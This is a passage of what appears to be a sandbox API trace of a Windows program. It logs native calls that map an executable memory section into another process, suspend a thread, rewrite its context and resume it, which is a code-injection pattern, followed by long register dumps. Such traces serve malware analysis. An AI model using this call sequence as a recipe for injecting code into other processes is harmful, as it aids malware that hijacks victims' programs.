ViewSize=0x6be574*=0x12fa00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x130000) returned 0x0 [0645.730] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x12fa00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2c60000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x130000) returned 0x0 [0645.746] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0645.771] NtClose (Handle=0x214) returned 0x0 [0645.771] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ff948, Ebx=0x2f1000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ff8f0, Eip=0x2cfd927, SegCs=0x23, EFlags=0x206, Esp=0x4ff8d8, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0645.772] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0645.772] NtClose (Handle=0x20c) returned 0x0 [0645.772] NtClose (Handle=0x1e4) returned 0x0 [0645.773] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf94, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0645.773] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0645.773] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0645.773] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x9ef000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0645.774] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0650.789] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xfb8) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0650.802] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0650.802] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2800000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0650.807] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x7df9cc, Ebx=0x9ef000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x7df974, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x7df95c, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0650.808] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0650.809] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x155a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x156000) returned 0x0 [0650.816] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x155a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x31d0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x156000) returned 0x0 [0650.835] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0650.864] NtClose (Handle=0x214) returned 0x0 [0650.864] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x7df9cc, Ebx=0x9ef000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x7df974, Eip=0x3293927, SegCs=0x23, EFlags=0x206, Esp=0x7df95c, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, 